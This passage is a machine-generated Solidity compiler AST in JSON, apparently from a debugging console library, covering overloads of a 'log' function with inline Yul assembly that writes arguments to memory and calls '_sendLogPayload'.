pure"}},"id":44920,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"341924:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44921,"nodeType":"ExpressionStatement","src":"341924:28:22"},{"AST":{"nativeSrc":"341971:273:22","nodeType":"YulBlock","src":"341971:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"341992:4:22","nodeType":"YulLiteral","src":"341992:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"341998:2:22","nodeType":"YulIdentifier","src":"341998:2:22"}],"functionName":{"name":"mstore","nativeSrc":"341985:6:22","nodeType":"YulIdentifier","src":"341985:6:22"},"nativeSrc":"341985:16:22","nodeType":"YulFunctionCall","src":"341985:16:22"},"nativeSrc":"341985:16:22","nodeType":"YulExpressionStatement","src":"341985:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"342021:4:22","nodeType":"YulLiteral","src":"342021:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"342027:2:22","nodeType":"YulIdentifier","src":"342027:2:22"}],"functionName":{"name":"mstore","nativeSrc":"342014:6:22","nodeType":"YulIdentifier","src":"342014:6:22"},"nativeSrc":"342014:16:22","nodeType":"YulFunctionCall","src":"342014:16:22"},"nativeSrc":"342014:16:22","nodeType":"YulExpressionStatement","src":"342014:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"342050:4:22","nodeType":"YulLiteral","src":"342050:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"342056:2:22","nodeType":"YulIdentifier","src":"342056:2:22"}],"functionName":{"name":"mstore","nativeSrc":"342043:6:22","nodeType":"YulIdentifier","src":"342043:6:22"},"nativeSrc":"342043:16:22","nodeType":"YulFunctionCall","src":"342043:16:22"},"nativeSrc":"342043:16:22","nodeType":"YulExpressionStatement","src":"342043:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"342079:4:22","nodeType":"YulLiteral","src":"342079:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"342085:2:22","nodeType":"YulIdentifier","src":"342085:2:22"}],"functionName":{"name":"mstore","nativeSrc":"342072:6:22","nodeType":"YulIdentifier","src":"342072:6:22"},"nativeSrc":"342072:16:22","nodeType":"YulFunctionCall","src":"342072:16:22"},"nativeSrc":"342072:16:22","nodeType":"YulExpressionStatement","src":"342072:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"342108:4:22","nodeType":"YulLiteral","src":"342108:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"342114:2:22","nodeType":"YulIdentifier","src":"342114:2:22"}],"functionName":{"name":"mstore","nativeSrc":"342101:6:22","nodeType":"YulIdentifier","src":"342101:6:22"},"nativeSrc":"342101:16:22","nodeType":"YulFunctionCall","src":"342101:16:22"},"nativeSrc":"342101:16:22","nodeType":"YulExpressionStatement","src":"342101:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"342137:4:22","nodeType":"YulLiteral","src":"342137:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"342143:2:22","nodeType":"YulIdentifier","src":"342143:2:22"}],"functionName":{"name":"mstore","nativeSrc":"342130:6:22","nodeType":"YulIdentifier","src":"342130:6:22"},"nativeSrc":"342130:16:22","nodeType":"YulFunctionCall","src":"342130:16:22"},"nativeSrc":"342130:16:22","nodeType":"YulExpressionStatement","src":"342130:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"342166:4:22","nodeType":"YulLiteral","src":"342166:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"342172:2:22","nodeType":"YulIdentifier","src":"342172:2:22"}],"functionName":{"name":"mstore","nativeSrc":"342159:6:22","nodeType":"YulIdentifier","src":"342159:6:22"},"nativeSrc":"342159:16:22","nodeType":"YulFunctionCall","src":"342159:16:22"},"nativeSrc":"342159:16:22","nodeType":"YulExpressionStatement","src":"342159:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"342195:4:22","nodeType":"YulLiteral","src":"342195:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"342201:2:22","nodeType":"YulIdentifier","src":"342201:2:22"}],"functionName":{"name":"mstore","nativeSrc":"342188:6:22","nodeType":"YulIdentifier","src":"342188:6:22"},"nativeSrc":"342188:16:22","nodeType":"YulFunctionCall","src":"342188:16:22"},"nativeSrc":"342188:16:22","nodeType":"YulExpressionStatement","src":"342188:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"342224:5:22","nodeType":"YulLiteral","src":"342224:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"342231:2:22","nodeType":"YulIdentifier","src":"342231:2:22"}],"functionName":{"name":"mstore","nativeSrc":"342217:6:22","nodeType":"YulIdentifier","src":"342217:6:22"},"nativeSrc":"342217:17:22","nodeType":"YulFunctionCall","src":"342217:17:22"},"nativeSrc":"342217:17:22","nodeType":"YulExpressionStatement","src":"342217:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44890,"isOffset":false,"isSlot":false,"src":"341998:2:22","valueSize":1},{"declaration":44893,"isOffset":false,"isSlot":false,"src":"342027:2:22","valueSize":1},{"declaration":44896,"isOffset":false,"isSlot":false,"src":"342056:2:22","valueSize":1},{"declaration":44899,"isOffset":false,"isSlot":false,"src":"342085:2:22","valueSize":1},{"declaration":44902,"isOffset":false,"isSlot":false,"src":"342114:2:22","valueSize":1},{"declaration":44905,"isOffset":false,"isSlot":false,"src":"342143:2:22","valueSize":1},{"declaration":44908,"isOffset":false,"isSlot":false,"src":"342172:2:22","valueSize":1},{"declaration":44911,"isOffset":false,"isSlot":false,"src":"342201:2:22","valueSize":1},{"declaration":44914,"isOffset":false,"isSlot":false,"src":"342231:2:22","valueSize":1}],"id":44922,"nodeType":"InlineAssembly","src":"341962:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"340729:3:22","parameters":{"id":44887,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44880,"mutability":"mutable","name":"p0","nameLocation":"340741:2:22","nodeType":"VariableDeclaration","scope":44924,"src":"340733:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44879,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340733:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44882,"mutability":"mutable","name":"p1","nameLocation":"340750:2:22","nodeType":"VariableDeclaration","scope":44924,"src":"340745:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44881,"name":"bool","nodeType":"ElementaryTypeName","src":"340745:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44884,"mutability":"mutable","name":"p2","nameLocation":"340762:2:22","nodeType":"VariableDeclaration","scope":44924,"src":"340754:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44883,"name":"uint256","nodeType":"ElementaryTypeName","src":"340754:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":44886,"mutability":"mutable","name":"p3","nameLocation":"340774:2:22","nodeType":"VariableDeclaration","scope":44924,"src":"340766:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44885,"name":"bytes32","nodeType":"ElementaryTypeName","src":"340766:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"340732:45:22"},"returnParameters":{"id":44888,"nodeType":"ParameterList","parameters":[],"src":"340792:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44970,"nodeType":"FunctionDefinition","src":"342256:1530:22","nodes":[],"body":{"id":44969,"nodeType":"Block","src":"342328:1458:22","nodes":[],"statements":[{"assignments":[44936],"declarations":[{"constant":false,"id":44936,"mutability":"mutable","name":"m0","nameLocation":"342346:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342338:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44935,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342338:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44937,"nodeType":"VariableDeclarationStatement","src":"342338:10:22"},{"assignments":[44939],"declarations":[{"constant":false,"id":44939,"mutability":"mutable","name":"m1","nameLocation":"342366:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342358:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44938,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342358:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44940,"nodeType":"VariableDeclarationStatement","src":"342358:10:22"},{"assignments":[44942],"declarations":[{"constant":false,"id":44942,"mutability":"mutable","name":"m2","nameLocation":"342386:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342378:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44941,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342378:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44943,"nodeType":"VariableDeclarationStatement","src":"342378:10:22"},{"assignments":[44945],"declarations":[{"constant":false,"id":44945,"mutability":"mutable","name":"m3","nameLocation":"342406:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342398:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44944,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342398:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44946,"nodeType":"VariableDeclarationStatement","src":"342398:10:22"},{"assignments":[44948],"declarations":[{"constant":false,"id":44948,"mutability":"mutable","name":"m4","nameLocation":"342426:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342418:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44947,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342418:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44949,"nodeType":"VariableDeclarationStatement","src":"342418:10:22"},{"assignments":[44951],"declarations":[{"constant":false,"id":44951,"mutability":"mutable","name":"m5","nameLocation":"342446:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342438:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44950,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342438:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44952,"nodeType":"VariableDeclarationStatement","src":"342438:10:22"},{"assignments":[44954],"declarations":[{"constant":false,"id":44954,"mutability":"mutable","name":"m6","nameLocation":"342466:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342458:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44953,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342458:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44955,"nodeType":"VariableDeclarationStatement","src":"342458:10:22"},{"assignments":[44957],"declarations":[{"constant":false,"id":44957,"mutability":"mutable","name":"m7","nameLocation":"342486:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342478:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44956,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342478:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44958,"nodeType":"VariableDeclarationStatement","src":"342478:10:22"},{"assignments":[44960],"declarations":[{"constant":false,"id":44960,"mutability":"mutable","name":"m8","nameLocation":"342506:2:22","nodeType":"VariableDeclaration","scope":44969,"src":"342498:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44959,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342498:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44961,"nodeType":"VariableDeclarationStatement","src":"342498:10:22"},{"AST":{"nativeSrc":"342527:924:22","nodeType":"YulBlock","src":"342527:924:22","statements":[{"body":{"nativeSrc":"342570:313:22","nodeType":"YulBlock","src":"342570:313:22","statements":[{"nativeSrc":"342588:15:22","nodeType":"YulVariableDeclaration","src":"342588:15:22","value":{"kind":"number","nativeSrc":"342602:1:22","nodeType":"YulLiteral","src":"342602:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"342592:6:22","nodeType":"YulTypedName","src":"342592:6:22","type":""}]},{"body":{"nativeSrc":"342673:40:22","nodeType":"YulBlock","src":"342673:40:22","statements":[{"body":{"nativeSrc":"342702:9:22","nodeType":"YulBlock","src":"342702:9:22","statements":[{"nativeSrc":"342704:5:22","nodeType":"YulBreak","src":"342704:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"342690:6:22","nodeType":"YulIdentifier","src":"342690:6:22"},{"name":"w","nativeSrc":"342698:1:22","nodeType":"YulIdentifier","src":"342698:1:22"}],"functionName":{"name":"byte","nativeSrc":"342685:4:22","nodeType":"YulIdentifier","src":"342685:4:22"},"nativeSrc":"342685:15:22","nodeType":"YulFunctionCall","src":"342685:15:22"}],"functionName":{"name":"iszero","nativeSrc":"342678:6:22","nodeType":"YulIdentifier","src":"342678:6:22"},"nativeSrc":"342678:23:22","nodeType":"YulFunctionCall","src":"342678:23:22"},"nativeSrc":"342675:36:22","nodeType":"YulIf","src":"342675:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"342630:6:22","nodeType":"YulIdentifier","src":"342630:6:22"},{"kind":"number","nativeSrc":"342638:4:22","nodeType":"YulLiteral","src":"342638:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"342627:2:22","nodeType":"YulIdentifier","src":"342627:2:22"},"nativeSrc":"342627:16:22","nodeType":"YulFunctionCall","src":"342627:16:22"},"nativeSrc":"342620:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"342644:28:22","nodeType":"YulBlock","src":"342644:28:22","statements":[{"nativeSrc":"342646:24:22","nodeType":"YulAssignment","src":"342646:24:22","value":{"arguments":[{"name":"length","nativeSrc":"342660:6:22","nodeType":"YulIdentifier","src":"342660:6:22"},{"kind":"number","nativeSrc":"342668:1:22","nodeType":"YulLiteral","src":"342668:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"342656:3:22","nodeType":"YulIdentifier","src":"342656:3:22"},"nativeSrc":"342656:14:22","nodeType":"YulFunctionCall","src":"342656:14:22"},"variableNames":[{"name":"length","nativeSrc":"342646:6:22","nodeType":"YulIdentifier","src":"342646:6:22"}]}]},"pre":{"nativeSrc":"342624:2:22","nodeType":"YulBlock","src":"342624:2:22","statements":[]},"src":"342620:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"342737:3:22","nodeType":"YulIdentifier","src":"342737:3:22"},{"name":"length","nativeSrc":"342742:6:22","nodeType":"YulIdentifier","src":"342742:6:22"}],"functionName":{"name":"mstore","nativeSrc":"342730:6:22","nodeType":"YulIdentifier","src":"342730:6:22"},"nativeSrc":"342730:19:22","nodeType":"YulFunctionCall","src":"342730:19:22"},"nativeSrc":"342730:19:22","nodeType":"YulExpressionStatement","src":"342730:19:22"},{"nativeSrc":"342766:37:22","nodeType":"YulVariableDeclaration","src":"342766:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"342783:3:22","nodeType":"YulLiteral","src":"342783:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"342792:1:22","nodeType":"YulLiteral","src":"342792:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"342795:6:22","nodeType":"YulIdentifier","src":"342795:6:22"}],"functionName":{"name":"shl","nativeSrc":"342788:3:22","nodeType":"YulIdentifier","src":"342788:3:22"},"nativeSrc":"342788:14:22","nodeType":"YulFunctionCall","src":"342788:14:22"}],"functionName":{"name":"sub","nativeSrc":"342779:3:22","nodeType":"YulIdentifier","src":"342779:3:22"},"nativeSrc":"342779:24:22","nodeType":"YulFunctionCall","src":"342779:24:22"},"variables":[{"name":"shift","nativeSrc":"342770:5:22","nodeType":"YulTypedName","src":"342770:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"342831:3:22","nodeType":"YulIdentifier","src":"342831:3:22"},{"kind":"number","nativeSrc":"342836:4:22","nodeType":"YulLiteral","src":"342836:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"342827:3:22","nodeType":"YulIdentifier","src":"342827:3:22"},"nativeSrc":"342827:14:22","nodeType":"YulFunctionCall","src":"342827:14:22"},{"arguments":[{"name":"shift","nativeSrc":"342847:5:22","nodeType":"YulIdentifier","src":"342847:5:22"},{"arguments":[{"name":"shift","nativeSrc":"342858:5:22","nodeType":"YulIdentifier","src":"342858:5:22"},{"name":"w","nativeSrc":"342865:1:22","nodeType":"YulIdentifier","src":"342865:1:22"}],"functionName":{"name":"shr","nativeSrc":"342854:3:22","nodeType":"YulIdentifier","src":"342854:3:22"},"nativeSrc":"342854:13:22","nodeType":"YulFunctionCall","src":"342854:13:22"}],"functionName":{"name":"shl","nativeSrc":"342843:3:22","nodeType":"YulIdentifier","src":"342843:3:22"},"nativeSrc":"342843:25:22","nodeType":"YulFunctionCall","src":"342843:25:22"}],"functionName":{"name":"mstore","nativeSrc":"342820:6:22","nodeType":"YulIdentifier","src":"342820:6:22"},"nativeSrc":"342820:49:22","nodeType":"YulFunctionCall","src":"342820:49:22"},"nativeSrc":"342820:49:22","nodeType":"YulExpressionStatement","src":"342820:49:22"}]},"name":"writeString","nativeSrc":"342541:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"342562:3:22","nodeType":"YulTypedName","src":"342562:3:22","type":""},{"name":"w","nativeSrc":"342567:1:22","nodeType":"YulTypedName","src":"342567:1:22","type":""}],"src":"342541:342:22"},{"nativeSrc":"342896:17:22","nodeType":"YulAssignment","src":"342896:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"342908:4:22","nodeType":"YulLiteral","src":"342908:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"342902:5:22","nodeType":"YulIdentifier","src":"342902:5:22"},"nativeSrc":"342902:11:22","nodeType":"YulFunctionCall","src":"342902:11:22"},"variableNames":[{"name":"m0","nativeSrc":"342896:2:22","nodeType":"YulIdentifier","src":"342896:2:22"}]},{"nativeSrc":"342926:17:22","nodeType":"YulAssignment","src":"342926:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"342938:4:22","nodeType":"YulLiteral","src":"342938:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"342932:5:22","nodeType":"YulIdentifier","src":"342932:5:22"},"nativeSrc":"342932:11:22","nodeType":"YulFunctionCall","src":"342932:11:22"},"variableNames":[{"name":"m1","nativeSrc":"342926:2:22","nodeType":"YulIdentifier","src":"342926:2:22"}]},{"nativeSrc":"342956:17:22","nodeType":"YulAssignment","src":"342956:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"342968:4:22","nodeType":"YulLiteral","src":"342968:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"342962:5:22","nodeType":"YulIdentifier","src":"342962:5:22"},"nativeSrc":"342962:11:22","nodeType":"YulFunctionCall","src":"342962:11:22"},"variableNames":[{"name":"m2","nativeSrc":"342956:2:22","nodeType":"YulIdentifier","src":"342956:2:22"}]},{"nativeSrc":"342986:17:22","nodeType":"YulAssignment","src":"342986:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"342998:4:22","nodeType":"YulLiteral","src":"342998:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"342992:5:22","nodeType":"YulIdentifier","src":"342992:5:22"},"nativeSrc":"342992:11:22","nodeType":"YulFunctionCall","src":"342992:11:22"},"variableNames":[{"name":"m3","nativeSrc":"342986:2:22","nodeType":"YulIdentifier","src":"342986:2:22"}]},{"nativeSrc":"343016:17:22","nodeType":"YulAssignment","src":"343016:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"343028:4:22","nodeType":"YulLiteral","src":"343028:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"343022:5:22","nodeType":"YulIdentifier","src":"343022:5:22"},"nativeSrc":"343022:11:22","nodeType":"YulFunctionCall","src":"343022:11:22"},"variableNames":[{"name":"m4","nativeSrc":"343016:2:22","nodeType":"YulIdentifier","src":"343016:2:22"}]},{"nativeSrc":"343046:17:22","nodeType":"YulAssignment","src":"343046:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"343058:4:22","nodeType":"YulLiteral","src":"343058:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"343052:5:22","nodeType":"YulIdentifier","src":"343052:5:22"},"nativeSrc":"343052:11:22","nodeType":"YulFunctionCall","src":"343052:11:22"},"variableNames":[{"name":"m5","nativeSrc":"343046:2:22","nodeType":"YulIdentifier","src":"343046:2:22"}]},{"nativeSrc":"343076:17:22","nodeType":"YulAssignment","src":"343076:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"343088:4:22","nodeType":"YulLiteral","src":"343088:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"343082:5:22","nodeType":"YulIdentifier","src":"343082:5:22"},"nativeSrc":"343082:11:22","nodeType":"YulFunctionCall","src":"343082:11:22"},"variableNames":[{"name":"m6","nativeSrc":"343076:2:22","nodeType":"YulIdentifier","src":"343076:2:22"}]},{"nativeSrc":"343106:17:22","nodeType":"YulAssignment","src":"343106:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"343118:4:22","nodeType":"YulLiteral","src":"343118:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"343112:5:22","nodeType":"YulIdentifier","src":"343112:5:22"},"nativeSrc":"343112:11:22","nodeType":"YulFunctionCall","src":"343112:11:22"},"variableNames":[{"name":"m7","nativeSrc":"343106:2:22","nodeType":"YulIdentifier","src":"343106:2:22"}]},{"nativeSrc":"343136:18:22","nodeType":"YulAssignment","src":"343136:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"343148:5:22","nodeType":"YulLiteral","src":"343148:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"343142:5:22","nodeType":"YulIdentifier","src":"343142:5:22"},"nativeSrc":"343142:12:22","nodeType":"YulFunctionCall","src":"343142:12:22"},"variableNames":[{"name":"m8","nativeSrc":"343136:2:22","nodeType":"YulIdentifier","src":"343136:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343236:4:22","nodeType":"YulLiteral","src":"343236:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"343242:10:22","nodeType":"YulLiteral","src":"343242:10:22","type":"","value":"0xe0625b29"}],"functionName":{"name":"mstore","nativeSrc":"343229:6:22","nodeType":"YulIdentifier","src":"343229:6:22"},"nativeSrc":"343229:24:22","nodeType":"YulFunctionCall","src":"343229:24:22"},"nativeSrc":"343229:24:22","nodeType":"YulExpressionStatement","src":"343229:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343273:4:22","nodeType":"YulLiteral","src":"343273:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"343279:4:22","nodeType":"YulLiteral","src":"343279:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"343266:6:22","nodeType":"YulIdentifier","src":"343266:6:22"},"nativeSrc":"343266:18:22","nodeType":"YulFunctionCall","src":"343266:18:22"},"nativeSrc":"343266:18:22","nodeType":"YulExpressionStatement","src":"343266:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343304:4:22","nodeType":"YulLiteral","src":"343304:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"343310:2:22","nodeType":"YulIdentifier","src":"343310:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343297:6:22","nodeType":"YulIdentifier","src":"343297:6:22"},"nativeSrc":"343297:16:22","nodeType":"YulFunctionCall","src":"343297:16:22"},"nativeSrc":"343297:16:22","nodeType":"YulExpressionStatement","src":"343297:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343333:4:22","nodeType":"YulLiteral","src":"343333:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"343339:4:22","nodeType":"YulLiteral","src":"343339:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"343326:6:22","nodeType":"YulIdentifier","src":"343326:6:22"},"nativeSrc":"343326:18:22","nodeType":"YulFunctionCall","src":"343326:18:22"},"nativeSrc":"343326:18:22","nodeType":"YulExpressionStatement","src":"343326:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343364:4:22","nodeType":"YulLiteral","src":"343364:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"343370:2:22","nodeType":"YulIdentifier","src":"343370:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343357:6:22","nodeType":"YulIdentifier","src":"343357:6:22"},"nativeSrc":"343357:16:22","nodeType":"YulFunctionCall","src":"343357:16:22"},"nativeSrc":"343357:16:22","nodeType":"YulExpressionStatement","src":"343357:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343398:4:22","nodeType":"YulLiteral","src":"343398:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"343404:2:22","nodeType":"YulIdentifier","src":"343404:2:22"}],"functionName":{"name":"writeString","nativeSrc":"343386:11:22","nodeType":"YulIdentifier","src":"343386:11:22"},"nativeSrc":"343386:21:22","nodeType":"YulFunctionCall","src":"343386:21:22"},"nativeSrc":"343386:21:22","nodeType":"YulExpressionStatement","src":"343386:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343432:4:22","nodeType":"YulLiteral","src":"343432:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"343438:2:22","nodeType":"YulIdentifier","src":"343438:2:22"}],"functionName":{"name":"writeString","nativeSrc":"343420:11:22","nodeType":"YulIdentifier","src":"343420:11:22"},"nativeSrc":"343420:21:22","nodeType":"YulFunctionCall","src":"343420:21:22"},"nativeSrc":"343420:21:22","nodeType":"YulExpressionStatement","src":"343420:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44936,"isOffset":false,"isSlot":false,"src":"342896:2:22","valueSize":1},{"declaration":44939,"isOffset":false,"isSlot":false,"src":"342926:2:22","valueSize":1},{"declaration":44942,"isOffset":false,"isSlot":false,"src":"342956:2:22","valueSize":1},{"declaration":44945,"isOffset":false,"isSlot":false,"src":"342986:2:22","valueSize":1},{"declaration":44948,"isOffset":false,"isSlot":false,"src":"343016:2:22","valueSize":1},{"declaration":44951,"isOffset":false,"isSlot":false,"src":"343046:2:22","valueSize":1},{"declaration":44954,"isOffset":false,"isSlot":false,"src":"343076:2:22","valueSize":1},{"declaration":44957,"isOffset":false,"isSlot":false,"src":"343106:2:22","valueSize":1},{"declaration":44960,"isOffset":false,"isSlot":false,"src":"343136:2:22","valueSize":1},{"declaration":44926,"isOffset":false,"isSlot":false,"src":"343404:2:22","valueSize":1},{"declaration":44928,"isOffset":false,"isSlot":false,"src":"343310:2:22","valueSize":1},{"declaration":44930,"isOffset":false,"isSlot":false,"src":"343438:2:22","valueSize":1},{"declaration":44932,"isOffset":false,"isSlot":false,"src":"343370:2:22","valueSize":1}],"id":44962,"nodeType":"InlineAssembly","src":"342518:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44964,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"343476:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44965,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"343482:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44963,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"343460:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 